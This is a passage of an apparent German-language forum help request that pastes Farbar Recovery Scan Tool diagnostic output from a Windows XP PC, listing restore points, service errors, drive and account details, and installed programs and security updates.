25-07-2016 14:29:03 Systemprüfpunkt

27-07-2016 02:02:07 Systemprüfpunkt

28-07-2016 09:06:25 Systemprüfpunkt

29-07-2016 12:32:25 Systemprüfpunkt

30-07-2016 13:04:45 Systemprüfpunkt

31-07-2016 13:29:13 Systemprüfpunkt

02-08-2016 11:08:41 Systemprüfpunkt

03-08-2016 15:09:44 Systemprüfpunkt

03-08-2016 23:12:44 Wiederherstellungsvorgang

03-08-2016 23:15:27 Wiederherstellungsvorgang

04-08-2016 00:54:11 JRT Pre-Junkware Removal

16-08-2016 13:23:24 Systemprüfpunkt
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 

Name: 1394-Netzwerkadapter

Description: 1394-Netzwerkadapter

Class Guid: {4D36E972-E325-11CE-BFC1-08002BE10318}

Manufacturer: Microsoft

Service: NIC1394

Problem: : This device is disabled. (Code 22)

Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (08/16/2016 12:20:18 PM) (Source: PerfNet) (EventID: 2004) (User: )

Description: Der Serverdienst konnte nicht geöffnet werden. Die Server-Leistungsinformationen

werden nicht zurückgegeben. Der zurückgegebene Fehlercode befindet sich in DWORD 0.
 
 

Systemfehler:

=============

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 

Error: (08/17/2016 11:54:24 AM) (Source: Service Control Manager) (EventID: 7001) (User: )

Description: Der Dienst "RAS-Verbindungsverwaltung" ist vom Dienst "Telefonie" abhängig, der aufgrund folgenden Fehlers nicht gestartet wurde: 

%%1058 = Der angegebene Dienst kann nicht gestartet werden. Er ist deaktiviert oder nicht mit aktivierten Geräten verbunden.
 
 

==================== Memory info =========================== 
 

Processor: Intel(R) Core(TM)2 CPU 6400 @ 2.13GHz

Prozentuale Nutzung des RAM: 45%

Installierter physikalischer RAM: 1023.17 MB

Verfügbarer physikalischer RAM: 561.44 MB

Summe virtueller Speicher: 2461.63 MB

Verfügbarer virtueller Speicher: 2100.79 MB
 

==================== Laufwerke ================================
 

Drive c: (Boot) (Fixed) (Total:68.36 GB) (Free:20.74 GB) NTFS ==>[Laufwerk mit Startkomponenten (Windows XP)]

Drive e: (Big one) (Fixed) (Total:164.51 GB) (Free:36.2 GB) NTFS
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 1 (Size: 232.9 GB) (Disk ID: 378E378E)

Partition 1: (Active) - (Size=68.4 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=164.5 GB) - (Type=OF Extended)
 

==================== Ende vom Addition.txt ============================

... und Addition.txt:

Code:

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x86) Version: 03-08-2016

durchgeführt von Julie (2016-08-17 11:54:08)

Gestartet von C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads

Microsoft Windows XP Professional Service Pack 3 (X86) (2013-02-20 19:04:41)

Start-Modus: Normal

==========================================================
 
 

==================== Konten: =============================
 

Administrator (S-1-5-21-796845957-1960408961-682003330-500 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Administrator.HOME

ASPNET (S-1-5-21-796845957-1960408961-682003330-1004 - Limited - Enabled)

Gast (S-1-5-21-796845957-1960408961-682003330-501 - Limited - Enabled)

Hilfeassistent (S-1-5-21-796845957-1960408961-682003330-1000 - Limited - Disabled)

Julie (S-1-5-21-796845957-1960408961-682003330-1003 - Administrator - Enabled) => %SystemDrive%\Dokumente und Einstellungen\Julie

SUPPORT_388945a0 (S-1-5-21-796845957-1960408961-682003330-1002 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

5500 (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500_Help (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Tour (Version: 40.0.105.000 - Hewlett-Packard) Hidden

5500Trb (Version: 40.0.105.000 - Hewlett-Packard) Hidden

A1 Internet Software (HKLM\...\A1 Internet Software) (Version: 8.1.1.64 - A1 Telekom Austria AG)

A1 Internet Software (Version: 8.1.1.64 - A1 Telekom Austria AG) Hidden

A1 Servicecenter (HKLM\...\A1 Servicecenter) (Version: 1.1.0.12 - A1 Telekom Austria AG)

A1 Servicecenter (Version: 1.1.0.12 - A1 Telekom Austria AG) Hidden

A1 Webassistent (HKLM\...\A1 Webassistent) (Version: 4.2.0.168 - A1 Telekom Austria AG)

A1 Webassistent (Version: 4.2.0.168 - A1 Telekom Austria) Hidden

Active Disk (HKLM\...\Active Disk) (Version:  - )

Adobe AIR (HKLM\...\Adobe AIR) (Version: 1.5.3.9130 - Adobe Systems Inc.)

Adobe Creative Suite 2 (HKLM\...\{0134A1A1-C283-4A47-91A1-92F19F960372}) (Version:  - )

Adobe Flash Player 22 ActiveX (HKLM\...\Adobe Flash Player ActiveX) (Version: 22.0.0.210 - Adobe Systems Incorporated)

Adobe Flash Player 22 NPAPI (HKLM\...\Adobe Flash Player NPAPI) (Version: 22.0.0.209 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 - Deutsch (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}) (Version: 8.1.2 - Adobe Systems Incorporated)

Adobe Reader 8.1.2 Security Update 1 (KB403742) (HKLM\...\{AC76BA86-7AD7-1031-7B44-A81200000003}_Adobe Reader 8.1.2 - Deutsch) (Version:  - )

Adobe Shockwave Player 12.1 (HKLM\...\Adobe Shockwave Player) (Version: 12.1.8.158 - Adobe Systems, Inc.)

Adobe SVG Viewer 3.0 (HKLM\...\Adobe SVG Viewer) (Version:  3.0 - Adobe Systems, Inc.)

AiO_Scan (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AIOMinimal (Version: 40.0.105.000 - Hewlett-Packard) Hidden

AiOSoftware (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Apple Application Support (HKLM\...\{63EC2120-1742-4625-AA47-C6A8AEC9C64C}) (Version: 2.2.2 - Apple Inc.)

Apple Mobile Device Support (HKLM\...\{D4DDFAA1-EC37-4529-AD5B-A433ADE68662}) (Version: 6.0.0.59 - Apple Inc.)

ASAPI (HKLM\...\{8A7E941F-2BB4-47D0-B732-8AE5F3513B68}) (Version: 6.0.0 - Pinnacle Systems GmbH)

ATI - Dienstprogramm zur Deinstallation der Software (HKLM\...\All ATI Software) (Version: 6.14.10.1022 - )

aTube Catcher Version 3.8 (HKLM\...\{D43B360E-722D-421B-BC77-20B9E0F8B6CD}_is1) (Version: 3.8 - DsNET Corp)

AVS Video Converter 7 (HKLM\...\AVS4YOU Video Converter 7_is1) (Version:  - Online Media Technologies Ltd.)

CloneDVD2 (HKLM\...\CloneDVD2) (Version: 2.9.3.3 - Elaborate Bytes)

Copy (Version: 5.35.0.065 - Hewlett-Packard) Hidden

CreativeProjects (Version: 5.35.0.059 - Hewlett-Packard) Hidden

Director (Version: 5.35.0.051 - Hewlett-Packard) Hidden

DivX-Setup (HKLM\...\DivX Setup) (Version: 2.6.1.22 - DivX, LLC)

DocProc (Version: 3.5.0.0 - Hewlett-Packard) Hidden

eLicenser Control (HKLM\...\eLicenser Control) (Version:  - Steinberg Media Technologies GmbH)

Express Rip (HKLM\...\ExpressRip) (Version:  - NCH Swift Sound)

Fax (Version: 40.0.105.000 - Hewlett-Packard) Hidden

Google Chrome (HKLM\...\Google Chrome) (Version: 49.0.2623.112 - Google Inc.)

Google Talk Plugin (HKLM\...\{2B0FC5A8-C3B6-33B7-9069-0D3BC69D2E50}) (Version: 3.11.7.10909 - Google)

Google Update Helper (Version: 1.3.25.11 - Google Inc.) Hidden

Google Update Helper (Version: 1.3.31.5 - Google Inc.) Hidden

Hotfix für Windows XP (KB2779562) (HKLM\...\KB2779562) (Version: 1 - Microsoft Corporation)

Hotfix für Windows XP (KB952287) (HKLM\...\KB952287) (Version: 1 - Microsoft Corporation)

HP CD Labeler II (HKLM\...\HP CD Labeler II) (Version:  - )

HP Image Zone 3.5 (HKLM\...\HP Photo & Imaging) (Version: 3.5 - HP)

HP PSC & OfficeJet 3.5 (HKLM\...\{0FABD3D7-3036-4e78-B29D-58957ADB0A12}) (Version: 3.5 - HP)

HP Software Update (HKLM\...\{34957B51-9676-41CE-9E52-44AE91B73F1C}) (Version: 1.0.22.20030804 - Hewlett-Packard)

HPSystemDiagnostics (Version: 1.5.0.0 - Your Company Name) Hidden

iDR System Manager V3.50 (HKLM\...\iDR System Manager V3.50) (Version:  - )

iLok Client Helper x32x64 (HKLM\...\InstallShield_{27F0B084-8305-4891-B9FD-4F2E3EDF98D4}) (Version: 5.8.9 - PACE Anti-Piracy)

iLok Client Helper x32x64 (Version: 5.8.9 - PACE Anti-Piracy) Hidden

Interlok driver setup x32 (HKLM\...\{25613C10-27D2-410B-942B-D922D5C3A7BE}) (Version: 5.8.9 - PACE Anti-Piracy)

IObit Malware Fighter 3 (HKLM\...\IObit Malware Fighter_is1) (Version: 3.0 - IObit)

IomegaWare 4.0.2 (HKLM\...\IomegaWare) (Version:  - )

Java 8 Update 31 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83218031F0}) (Version: 8.0.310 - Oracle Corporation)

Java DB 10.6.2.1 (HKLM\...\{73EC658D-A1C6-40CA-8E86-E05821BAACE7}) (Version: 10.6.2.1 - Oracle)

Java(TM) 7 (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F83217000FF}) (Version: 7.0.0 - Oracle)

Java(TM) SE Development Kit 6 Update 31 (HKLM\...\{32A3A4F4-B792-11D6-A78A-00B0D0160310}) (Version: 1.6.0.310 - Oracle)

JavaFX 2.1.0 (HKLM\...\{1111706F-666A-4037-7777-210328764D10}) (Version: 2.1.0 - Oracle Corporation)

License Support (HKLM\...\InstallShield_{3165EA9B-36CC-499B-96FF-36FC30E10EF4}) (Version: 1.00.0000 - PACE Anti-Piracy, Inc.)

License Support (Version: 1.00.0000 - PACE Anti-Piracy, Inc.) Hidden

LightScribe  1.4.89.1 (Version: 1.4.89.1 - hxxp://www.lightscribe.com) Hidden

Logitech MouseWare 9.78  (HKLM\...\{5809E7CF-4DCF-11D4-9875-00105ACE7734}) (Version:  - )

Macromedia Contribute 3.11 (HKLM\...\{4B9535BF-CC90-4158-AF32-CAF57A8820CA}) (Version: 3.11.0.2419 - Macromedia, Inc.)

Macromedia Dreamweaver 8 (HKLM\...\{0837A661-FEC3-48B3-876C-91E7D32048A9}) (Version: 8.0.0.2734 - Macromedia)

Macromedia Extension Manager (HKLM\...\{5546CDB5-2CE2-498B-B059-5B3BF81FC41F}) (Version: 1.7.240 - Macromedia, Inc.)

Macromedia Fireworks 8 (HKLM\...\{4C24A8C1-7CFA-4650-AF15-732F5BD7B46D}) (Version: 8.0.0.777 - Macromedia)

Macromedia Flash 8 (HKLM\...\{2BD5C305-1B27-4D41-B690-7A61172D2FEB}) (Version: 8.00.0000 - Macromedia)

Macromedia Flash 8 Video Encoder (HKLM\...\{8BF2C401-02CE-424D-BC26-6C4F9FB446B6}) (Version: 1.00.0000 - Macromedia)

Microsoft .NET Framework 1.1 (HKLM\...\Microsoft .NET Framework 1.1  (1033)) (Version:  - )

Microsoft .NET Framework 1.1 German Language Pack (HKLM\...\{E78BFA60-5393-4C38-82AB-E8019E464EB4}) (Version: 1.1.4322 - Microsoft)

Microsoft .NET Framework 1.1 Security Update (KB2698023) (HKLM\...\M2698023) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB2833941) (HKLM\...\M2833941) (Version:  - )

Microsoft .NET Framework 1.1 Security Update (KB979906) (HKLM\...\M979906) (Version:  - )

Microsoft .NET Framework 2.0 Service Pack 1 Language Pack - DEU (HKLM\...\{9309DD7E-EBFE-3C95-8B47-30D3A012F606}) (Version: 2.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 2.0 Service Pack 2 (HKLM\...\{C09FB3CD-3D0C-3F2D-899A-6A1D67F2073F}) (Version: 2.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 1 Language Pack - DEU (HKLM\...\{A1071AEB-B0EF-3F5F-BC84-83A270EBE496}) (Version: 3.1.21022 - Microsoft Corporation)

Microsoft .NET Framework 3.0 Service Pack 2 (HKLM\...\{A3051CD0-2F64-3813-A88D-B8DCCDE8F8C7}) (Version: 3.2.30729 - Microsoft Corporation)

Microsoft .NET Framework 3.5 SP1 (HKLM\...\Microsoft .NET Framework 3.5 SP1) (Version:  - Microsoft Corporation)

Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)

Microsoft Automated Troubleshooting Services Shim (HKLM\...\{c9920352-04e6-469d-bab8-e2b9c7c75415}.sdb) (Version:  - )

Microsoft Office Excel Viewer 2003 (HKLM\...\{90840409-6000-11D3-8CFE-0150048383C9}) (Version: 11.0.6412.0 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)

Microsoft Visual C++ 2005 Redistributable (HKLM\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729 (HKLM\...\{6AFCA4E1-9B78-3640-8F72-A7BF33448200}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.51106 (HKLM\...\{8e70e4e1-06d7-470b-9f74-a51bef21088e}) (Version: 11.0.51106.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)

Microsoft Word 97 (HKLM\...\Word8.0) (Version:  - )

Movavi Video Converter 5.3 (HKLM\...\Movavi Video Converter 5.3) (Version: 5.3 - MOVAVI)

Mozilla Firefox 14.0.1 (x86 de) (HKLM\...\Mozilla Firefox 14.0.1 (x86 de)) (Version: 14.0.1 - Mozilla)

MSVC80_x86 (Version: 1.0.1.0 - Nokia) Hidden

MSVC80_x86_v2 (Version: 1.0.3.0 - Nokia) Hidden

MSVC90_x86 (Version: 1.0.1.2 - Nokia) Hidden

MSXML 4.0 SP2 (KB927978) (HKLM\...\{37477865-A3F1-4772-AD43-AAFC6BCFF99F}) (Version: 4.20.9841.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB936181) (HKLM\...\{C04E32E0-0416-434D-AFB9-6969D703A9EF}) (Version: 4.20.9848.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB954430) (HKLM\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)

MSXML 4.0 SP2 (KB973688) (HKLM\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)

MSXML 4.0 SP2 Parser and SDK (HKLM\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)

MSXML 6 Service Pack 2 (KB954459) (HKLM\...\{1A528690-6A2D-4BC5-B143-8C4AE8D19D96}) (Version: 6.20.1099.0 - Microsoft Corporation)

MySQL Connector C++ 1.1.6 (HKLM\...\{3986AD3D-19E0-4FEF-BCBA-08D66BFC216E}) (Version: 1.1.6 - Oracle and/or its affiliates)

MySQL Connector J (HKLM\...\{5E91E205-AC15-4FA2-8A73-3CB5EC0E04A5}) (Version: 5.1.35 - Oracle Corporation)

MySQL Connector Net 6.9.6 (HKLM\...\{71458704-E552-4A3E-8BFA-4F61C1F70724}) (Version: 6.9.6 - Oracle)

MySQL Connector/C 6.1 (HKLM\...\{E05E5D1F-4842-47FD-AB62-57FD89801084}) (Version: 6.1.6 - Oracle Corporation)

MySQL Connector/ODBC 5.3 (HKLM\...\{4C6A664C-DCA0-4CC6-8752-ED0850E3135A}) (Version: 5.3.4 - Oracle Corporation)

MySQL Control Center (HKLM\...\{7EFDA3AC-8A61-43C0-B023-33866829C816}) (Version: 0.9.4 - MySQL AB)

MySQL Documents 5.6 (HKLM\...\{3B77CCCC-740C-4DAE-8ACB-119DB9EB3D79}) (Version: 5.6.25 - Oracle Corporation)

MySQL Examples and Samples 5.6 (HKLM\...\{27DB65EA-A1BE-481A-9CE5-6F8D971C20FB}) (Version: 5.6.25 - Oracle Corporation)

MySQL Installer - Community (HKLM\...\{E337B02E-785E-4D32-9E8E-8C1C55DD3811}) (Version: 1.4.8.0 - Oracle Corporation)

MySQL Notifier 1.1.6 (HKLM\...\{CB76A6E9-B184-461D-A8BE-7D0D73199545}) (Version: 1.1.6 - Oracle)

MySQL Server 5.6 (HKLM\...\{88509059-D1CE-4D8B-8EC8-ED51D1F138C7}) (Version: 5.6.25 - Oracle Corporation)

Nero Suite (HKLM\...\NeroMultiInstaller!UninstallKey) (Version:  - )

OLYMPUS Digital Camera Updater (HKLM\...\{2A9E8F56-C31B-4DBB-BFE2-0F4EC8192355}) (Version: 1.0.3 - OLYMPUS IMAGING CORP.)

OLYMPUS Viewer 2 (HKLM\...\{7177EE4E-3D1D-4F45-85B5-B93DC758BA0B}) (Version: 1.1.1 - OLYMPUS IMAGING CORP.)

OpenMG Limited Patch 4.7-07-14-05-01 (HKLM\...\OpenMG HotFix4.7-07-13-22-01) (Version:  - )

OpenMG Secure Module 4.7.00 (HKLM\...\InstallShield_{CCD663AE-610D-4BDF-AAB0-E914B044527D}) (Version: 4.7.00.12140 - Sony Corporation)

OpenMG Secure Module 4.7.00 (Version: 4.7.00.12140 - Sony Corporation) Hidden

Opera 11.50 (HKLM\...\Opera 11.50.1074) (Version: 11.50.1074 - Opera Software ASA)

Opera Stable 19.0.1326.63 (HKLM\...\Opera 19.0.1326.63) (Version: 19.0.1326.63 - Opera Software ASA)

Overland (Version: 2.1.4 - Hewlett-Packard) Hidden

overland (Version: 2.1.5 - HP) Hidden

PDFsam Basic (HKLM\...\{4E4EF242-7FF0-423E-99ED-C96305B840C0}) (Version: 3.0.10.0 - Andrea Vacondio)

PhotoGallery (Version: 5.35.0.059 - Hewlett-Packard) Hidden

PrintScreen (Version: 5.35.0.035 - Hewlett-Packard) Hidden

QFolder (Version: 1.00.0000 - Hewlett-Packard) Hidden

QuickProjects (Version: 5.35.0.047 - Hewlett-Packard) Hidden

QuickTime (HKLM\...\{0E64B098-8018-4256-BA23-C316A43AD9B0}) (Version: 7.72.80.56 - Apple Inc.)

Readme (Version: 40.0.105.000 - Hewlett-Packard) Hidden

RealPlayer (HKLM\...\RealPlayer 6.0) (Version:  - RealNetworks)

RME Fireface (HKLM\...\FIREFACE) (Version: 2.9.992.0 - RME Intelligent Audio Solutions)

Scan (Version: 3.5.0.0 - Hewlett-Packard) Hidden

Sicherheitsupdate für Microsoft Windows (KB2564958) (HKLM\...\KB2564958) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834903) (HKLM\...\KB2834903_WM10L) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows Media Player (KB2834904) (HKLM\...\KB2834904_WM11) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2115168) (HKLM\...\KB2115168) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2229593) (HKLM\...\KB2229593) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2296011) (HKLM\...\KB2296011) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2360937) (HKLM\...\KB2360937) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2387149) (HKLM\...\KB2387149) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2393802) (HKLM\...\KB2393802) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2423089) (HKLM\...\KB2423089) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2440591) (HKLM\...\KB2440591) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2443105) (HKLM\...\KB2443105) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478960) (HKLM\...\KB2478960) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2478971) (HKLM\...\KB2478971) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2479943) (HKLM\...\KB2479943) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2481109) (HKLM\...\KB2481109) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2485663) (HKLM\...\KB2485663) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2507938) (HKLM\...\KB2507938) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2535512) (HKLM\...\KB2535512) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2536276-v2) (HKLM\...\KB2536276-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2544893-v2) (HKLM\...\KB2544893-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2566454) (HKLM\...\KB2566454) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2570947) (HKLM\...\KB2570947) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2584146) (HKLM\...\KB2584146) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2585542) (HKLM\...\KB2585542) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2592799) (HKLM\...\KB2592799) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2598479) (HKLM\...\KB2598479) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2603381) (HKLM\...\KB2603381) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2618451) (HKLM\...\KB2618451) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2620712) (HKLM\...\KB2620712) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2631813) (HKLM\...\KB2631813) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2655992) (HKLM\...\KB2655992) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2659262) (HKLM\...\KB2659262) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2686509) (HKLM\...\KB2686509) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2691442) (HKLM\...\KB2691442) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2698365) (HKLM\...\KB2698365) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2712808) (HKLM\...\KB2712808) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2723135-v2) (HKLM\...\KB2723135-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2753842-v2) (HKLM\...\KB2753842-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2758857) (HKLM\...\KB2758857) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2802968) (HKLM\...\KB2802968) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2807986) (HKLM\...\KB2807986) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2820197) (HKLM\...\KB2820197) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2834886) (HKLM\...\KB2834886) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB2850851) (HKLM\...\KB2850851) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB923561) (HKLM\...\KB923561) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB941569) (HKLM\...\KB941569) (Version:  - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB946648) (HKLM\...\KB946648) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950762) (HKLM\...\KB950762) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB950974) (HKLM\...\KB950974) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB951376-v2) (HKLM\...\KB951376-v2) (Version: 2 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB952954) (HKLM\...\KB952954) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956572) (HKLM\...\KB956572) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB956844) (HKLM\...\KB956844) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB959426) (HKLM\...\KB959426) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB960859) (HKLM\...\KB960859) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB969059) (HKLM\...\KB969059) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB971657) (HKLM\...\KB971657) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB972270) (HKLM\...\KB972270) (Version: 1 - Microsoft Corporation)

Sicherheitsupdate für Windows XP (KB973869) (HKLM\...\KB973869) (Version: 1 - Microsoft Corporation)

